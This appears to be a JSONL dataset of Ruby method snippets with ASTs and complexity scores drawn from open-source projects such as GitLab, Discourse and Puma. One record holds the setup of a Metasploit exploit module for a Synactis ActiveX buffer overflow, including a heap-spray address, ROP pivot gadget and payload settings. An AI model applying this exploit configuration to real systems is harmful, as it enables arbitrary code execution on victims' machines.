{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/member_presenter.rb","start_line":26,"raw_source":"def can_resend_invite?\n    invite? &&\n      can?(current_user, admin_member_permission, source)\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"can_resend_invite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invite?\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"admin_member_permission\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]}]}]}","id":"d715efc3-9ab7-4f42-aa06-c0b86504d363"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_columns.rb","start_line":32,"raw_source":"def original_column_names\n            columns.map(&:original_column_name)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"original_column_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_column_name\"]}]}]}]}","id":"7a548b92-724a-42ea-9c52-c99c18111b17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/abuse_reports_controller.rb","start_line":25,"raw_source":"def create\n    abuse_report_service = AntiAbuse::AbuseReport::CreateService.new(report_params.merge(reporter: current_user))\n    response = abuse_report_service.execute\n\n    if response.success?\n      @abuse_report = response.payload\n      @abuse_report.notify\n\n      Gitlab::Tracking.event(\n        'ReportAbuse',\n        'submit_form',\n        property: @abuse_report.category,\n        user: @abuse_report.user\n      )\n\n      message = _(\"Thank you for your report. A GitLab administrator will look into it shortly.\")\n      redirect_to root_path, notice: message\n    elsif report_params[:user_id].present?\n      render :new\n    else\n      redirect_to root_path,\n        alert: _(\"Cannot create the abuse report. The reported user was invalid. Please try again or contact support.\")\n    end\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"abuse_report_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AntiAbuse\"]},\"AbuseReport\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reporter\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abuse_report_service\"]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@abuse_report\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@abuse_report\"]},\"notify\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"event\",{\"type\":\"str\",\"children\":[\"ReportAbuse\"]},{\"type\":\"str\",\"children\":[\"submit_form\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@abuse_report\"]},\"category\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@abuse_report\"]},\"user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Thank you for your report. A GitLab administrator will look into it shortly.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"root_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"root_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Cannot create the abuse report. The reported user was invalid. Please try again or contact support.\"]}]}]}]}]}]}]}]}]}","id":"19d0ccef-b043-4405-b9aa-27e5c939b1ba"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_visit.rb","start_line":38,"raw_source":"def self.by_day(start_date, end_date, group_id = nil)\n    counts_by_day_query(start_date, end_date, group_id).count\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"by_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]},{\"type\":\"optarg\",\"children\":[\"group_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counts_by_day_query\",{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},\"count\"]}]}","id":"1374b86e-2782-46b4-bf31-845a1c0eb2d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/base/relation_factory.rb","start_line":327,"raw_source":"def set_note_author\n          old_author_id = @original_user['author_id']\n          author = @relation_hash.delete('author')\n\n          unless @members_mapper.include?(old_author_id)\n            @relation_hash['note'] = \"%{note}\\n\\n %{missing_author_note}\" % {\n              note: @relation_hash['note'].presence || '*Blank note*',\n              missing_author_note: missing_author_note(@relation_hash['updated_at'], author['name'])\n            }\n          end\n        end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_note_author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_author_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"delete\",{\"type\":\"str\",\"children\":[\"author\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@members_mapper\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"old_author_id\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%{note}\\n\\n %{missing_author_note}\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"note\"]}]},\"presence\"]},{\"type\":\"str\",\"children\":[\"*Blank note*\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_author_note\"]},{\"type\":\"send\",\"children\":[null,\"missing_author_note\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]}]}]}]}]}","id":"3cd92c68-6561-4e35-b065-9f1345f1c606"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":88,"raw_source":"def test_normalize_host_header_ipv4\n    server_run do |env|\n      [200, {}, [env[\"SERVER_NAME\"], \"\\n\", env[\"SERVER_PORT\"]]]\n    end\n\n    body = send_http_read_resp_body \"GET / HTTP/1.0\\r\\nHost: 123.123.123.123:456\\r\\n\\r\\n\"\n    assert_equal \"123.123.123.123\\n456\", body\n\n    body = send_http_read_resp_body \"GET / HTTP/1.0\\r\\nHost: 123.123.123.123\\r\\n\\r\\n\"\n    assert_equal \"123.123.123.123\\n80\", body\n  end","complexity_score":10.48,"ast_json":"{\"type\":\"def\",\"children\":[\"test_normalize_host_header_ipv4\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVER_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVER_PORT\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"send_http_read_resp_body\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.0\\r\\nHost: 123.123.123.123:456\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123.123.123.123\\n456\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"send_http_read_resp_body\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.0\\r\\nHost: 123.123.123.123\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123.123.123.123\\n80\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"f928f6bc-f980-48e7-b1a6-86804eb92bea"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/relationship.rb","start_line":26,"raw_source":"def self.filter_by_resource_type(relationships, options)\n    of_type = Array.wrap(options[:of_type])\n    except_type = Array.wrap(options[:except_type])\n    return relationships if of_type.empty? && except_type.empty?\n\n    if relationships.kind_of?(Array) || relationships.try(:loaded?)\n      relationships.reject { |r| r.filtered?(of_type, except_type) }\n    else\n      relationships.filtered(of_type, except_type)\n    end\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter_by_resource_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relationships\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"of_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"of_type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"except_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"except_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"of_type\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except_type\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relationships\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relationships\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relationships\"]},\"try\",{\"type\":\"sym\",\"children\":[\"loaded?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relationships\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"filtered?\",{\"type\":\"lvar\",\"children\":[\"of_type\"]},{\"type\":\"lvar\",\"children\":[\"except_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relationships\"]},\"filtered\",{\"type\":\"lvar\",\"children\":[\"of_type\"]},{\"type\":\"lvar\",\"children\":[\"except_type\"]}]}]}]}]}","id":"540da963-255b-440c-aaa6-d564f0d48912"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb","start_line":24,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow\",\n        'Description' => %q{\n          This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX\n          component, specifically PDF_IN_1.ocx.  When a long string of data is given\n          to the ConnectToSynactis function, which is meant to be used for the ldCmdLine\n          argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry\n          class pointer saved on the stack, resulting in arbitrary code execution under the\n          context of the user.\n\n          Also note that since the WinExec function is used to call the default browser,\n          you must be aware that: 1) The default must be Internet Explorer, and 2) when the\n          exploit runs, another browser will pop up.\n\n          Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,\n          which is how the vulnerability was found and publicly disclosed.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h1ch4m',\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2013-10057' ],\n          [ 'OSVDB', '93754' ],\n          [ 'EDB', '25835' ]\n        ],\n        'Platform' => 'win',\n        'Targets' => [\n          # Newer setups like Win + IE8: \"Object doesn't support this property or method\"\n          [ 'Automatic', {} ],\n          [\n            'IE 7 on Windows XP SP3', { 'Eax' => 0x0c0c0c0c }\n          ],\n          [\n            # 0x20302020 = Where the heap spray will land\n            # 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4\n            'IE 8 on Windows XP SP3',\n            { 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }\n          ]\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500\n        },\n        'DefaultOptions' => {\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n        },\n        'Privileged' => false,\n        'DisclosureDate' => '2013-05-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX\\n\"]},{\"type\":\"str\",\"children\":[\"          component, specifically PDF_IN_1.ocx.  When a long string of data is given\\n\"]},{\"type\":\"str\",\"children\":[\"          to the ConnectToSynactis function, which is meant to be used for the ldCmdLine\\n\"]},{\"type\":\"str\",\"children\":[\"          argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry\\n\"]},{\"type\":\"str\",\"children\":[\"          class pointer saved on the stack, resulting in arbitrary code execution under the\\n\"]},{\"type\":\"str\",\"children\":[\"          context of the user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Also note that since the WinExec function is used to call the default browser,\\n\"]},{\"type\":\"str\",\"children\":[\"          you must be aware that: 1) The default must be Internet Explorer, and 2) when the\\n\"]},{\"type\":\"str\",\"children\":[\"          exploit runs, another browser will pop up.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,\\n\"]},{\"type\":\"str\",\"children\":[\"          which is how the vulnerability was found and publicly disclosed.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h1ch4m\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-10057\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"93754\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"25835\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 7 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Eax\"]},{\"type\":\"int\",\"children\":[202116108]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 8 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"sym\",\"children\":[\"msvcrt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pivot\"]},{\"type\":\"int\",\"children\":[2009209043]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ecx\"]},{\"type\":\"int\",\"children\":[540024868]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Eax\"]},{\"type\":\"int\",\"children\":[540024872]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-05-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"07878f73-f70a-4ec9-9a7c-e5d8a3e09e29"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/incoming_message_builder.rb","start_line":66,"raw_source":"def thread_timestamp_available?\n    params[:event][:thread_ts].present?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"thread_timestamp_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"thread_ts\"]}]},\"present?\"]}]}","id":"2bcd85e2-8362-4177-80cf-025b345247c2"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/article_api_index_service.rb","start_line":94,"raw_source":"def top_articles\n    published_articles_with_users_and_organizations\n      .where(\"published_at > ?\", top.to_i.days.ago)\n      .order(public_reactions_count: :desc)\n      .page(page).per(per_page || DEFAULT_PER_PAGE)\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"top_articles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published_articles_with_users_and_organizations\"]},\"where\",{\"type\":\"str\",\"children\":[\"published_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top\"]},\"to_i\"]},\"days\"]},\"ago\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_reactions_count\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"per\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"per_page\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]}]}]}","id":"2f05e5ea-5802-4e29-a238-5ba60fb01a8f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fp/settings/public_api.rb","start_line":28,"raw_source":"def get(setting_names, options = {})\n          unless setting_names.is_a?(Array) && setting_names.all?(Symbol)\n            raise \"setting_names arg must be an Array of Symbols\"\n          end\n\n          response_hash = settings_main_class.get_settings(requested_setting_names: setting_names, options: options)\n\n          raise response_hash.fetch(:message).to_s if response_hash.fetch(:status) == :error\n\n          settings = response_hash.fetch(:settings)\n\n          invalid_settings = setting_names.each_with_object([]) do |setting_name, invalid_settings|\n            invalid_settings << setting_name unless settings.key?(setting_name)\n          end\n\n          raise \"Unsupported setting name(s): #{invalid_settings.join(', ')}\" unless invalid_settings.empty?\n\n          settings.slice(*setting_names).to_h\n        end","complexity_score":31.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_names\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_names\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_names\"]},\"all?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"setting_names arg must be an Array of Symbols\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings_main_class\"]},\"get_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requested_setting_names\"]},{\"type\":\"lvar\",\"children\":[\"setting_names\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_hash\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_hash\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"to_s\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"settings\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_hash\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"settings\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"invalid_settings\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_names\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting_name\"]},{\"type\":\"arg\",\"children\":[\"invalid_settings\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_settings\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_settings\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported setting name(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_settings\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_names\"]}]}]},\"to_h\"]}]}]}","id":"f156d967-1074-4b46-b90b-c59a92d15759"}
